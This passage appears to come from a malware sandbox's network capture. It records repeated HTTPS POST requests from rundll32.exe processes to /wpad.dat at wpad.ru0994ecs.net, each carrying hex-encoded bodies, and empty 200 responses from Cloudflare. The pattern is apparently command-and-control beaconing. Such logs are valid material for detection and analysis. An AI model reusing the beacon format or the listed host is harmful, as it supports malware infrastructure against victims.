2024-04-16 21:04:33 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:33 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IxfDzQBlO5BRSHeX9tt8pSSWqayf6b577TiSJX1zsRLWm8wUmAajTd%2B2PIsBEml6ni08kvYLmixUjUMRgA%2BBqP69fGqhYh2p3evgcN7MLeiQKDpH%2FnFxngDd9i4ozr2RNCMJOpc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720e11b47675b-ATL
2024-04-16 21:04:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49864	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:33 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:33 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:34 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r66GcPJN35KWCDwB4JZnU6nHWo2y0%2Fi3u3Q8DydF9KQbrqrprOSH5x22GdKmzIX0R02AlaQ%2FXoDEe%2BggYB3jjKfaOR9x3P1uouL4mPjTC7FUPLKyuJcLii9wacG%2BfN0MLDe7g94%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720e598c206ea-ATL
2024-04-16 21:04:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49865	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:34 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:34 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:34 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IIBBlvNBqhlBED11Aa6lO8t2qfU2HATA%2FdJs%2FJUZ%2Fgz2M4OM5nZuO4vFJ5ssAj7uV0wQMhjAEsodG3Zl%2BKpsbGxT9ICTElr5I0lMYXLoGpxitAlyGNWjhwXw0wilQU0Y6o21V7E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720e90e576750-ATL
2024-04-16 21:04:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49866	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:35 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:35 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:36 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YLE55j6lty9XSj%2BjTtXr4NRCy1qzSmMjNNubAhUg%2F3QzYS4bpR89hdv32ejjaU9F9JHMthGiHsGKxU7JKRJgeSXA8tpRgc7hNjYRS4KJir0JgGx00LIE7fW0X0DlwF2fbYpMB0Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720f1fa616735-ATL
2024-04-16 21:04:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49867	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:36 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:36 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:36 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BsgQY0wQvRWHAfvzGJpNFN7Pxf6TZ%2F3kgPBhwE6OY%2F%2FUtHnJinzpQrG0apqnry7HLrBFcEDUY4xxS6baGCWFYhXsekO%2FMHuIAktxeajnLUOJORPrz0MXmD4PoPsLOTHXRV95MIA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720f5ddacb0e1-ATL
2024-04-16 21:04:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49868	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:37 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:37 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:37 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rn9aS6INNM2NQSppFJfkSooxa3LVYHKiwT7Ap7ghMJzuAIYgUwRjoD%2B8F0A99DK6g28GTesmPWM1i6EdRc3fdrgxE3d8KE5A4mQHKPUeZUb%2Fr5znuuyxwQ%2FD5qkR9eiriodaGic%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720f9aba11351-ATL
2024-04-16 21:04:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49869	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:38 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AoJzRZXDtj%2F70oCR3ywRmaeZrcRuifJyI8v5qISklcgskHX4EyJXr8lBj5BEJUu5gCj7RfRKvxC%2B2shTI%2FOT1zYjx0MmdhBnmXBLYyyOABx%2BEJ6fVS%2FiHgtl0i0eAqvtqBLqKaE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720ff6ec5676c-ATL
2024-04-16 21:04:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49870	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:39 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:39 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:39 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gxmASOsGKiOiCY07CQqOaeWB22RTlzGw79KntPK3HAPOFjEK%2Buk1USmn8V9721dev%2BTFIgnKqJWFi2H3kPcO%2FdfKCzt2%2FiVAEn1ZC6nmYwh3tdahqaD7nJUX97ANxnmF4vM7QMY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721088c014588-ATL
2024-04-16 21:04:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49871	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:40 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:40 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:41 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4VVl88tWhd%2F%2B5TAc%2BQrIY5B820Zn%2FhntXfyEfN7iO4eLPKE0q0YUopj5DPMaHFAxEAr70Iu7DZ59GCK7XwdTpB8tkgX5Lo%2BVXkbmk32shHug0kI0CllabIZwteC%2FyBuRJGJ1B7o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721108c2d4514-ATL
2024-04-16 21:04:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49872	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:42 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hx6bkhEAbrjIwdgLWdScaS4TVkGyNlP%2FIFEzT0Bcljpcmox6KuNSn7x%2BDguyQfrWz9FJY%2FBfH3iEt7s1dYoiHXKr9tTY0qfMaMscR0NgqrbjM989tKzxcWUYKeR1SacML5Pm%2BiA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87572115fd54137b-ATL
2024-04-16 21:04:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49873	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:43 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:43 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:43 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0UHSHlUnoGPXeKq6q8az2DYaiAAxggR%2FPAsTd%2FYBT6sdSltd%2F104IsOOQEZZ33HIrHJgsNjnp4SLD9KO6bVVWnj9E3yc1%2B4BO4OaOsd2SZ4X1AMwNclQze9s0NlYSaigSkNqUkU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757211f0fa6452b-ATL
2024-04-16 21:04:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49874	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:46 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:46 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:46 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IAGZssfaWar%2BsDt0gJYbKNZwu3oLoJAq%2FEmrc63F%2Fwi60eVlE%2FGw5UVbaafgOJTBXMtHX1X4YVMdNO4vWnVzQL6IGGs8KrZfYJMwqXsACX%2B0pq9uy7DeDJo5BPXZtrdbU3wqQZU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721340a0953c1-ATL
2024-04-16 21:04:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49875	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:47 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:47 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:47 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qAo2I%2BNs9VRV8aZr1%2BOj92FrLwgZ%2FH5jDho2f1sZNr1JyW7FBQhUbyUWOCZvnHeDWqZ5yQ8KjIvmMIp6a1V5WueTg81DP7dfPYOO%2BartDhPEagy3YNYnCZoZYnSW8iOQXAi0aZY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721390e76ad71-ATL
2024-04-16 21:04:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49876	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:47 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
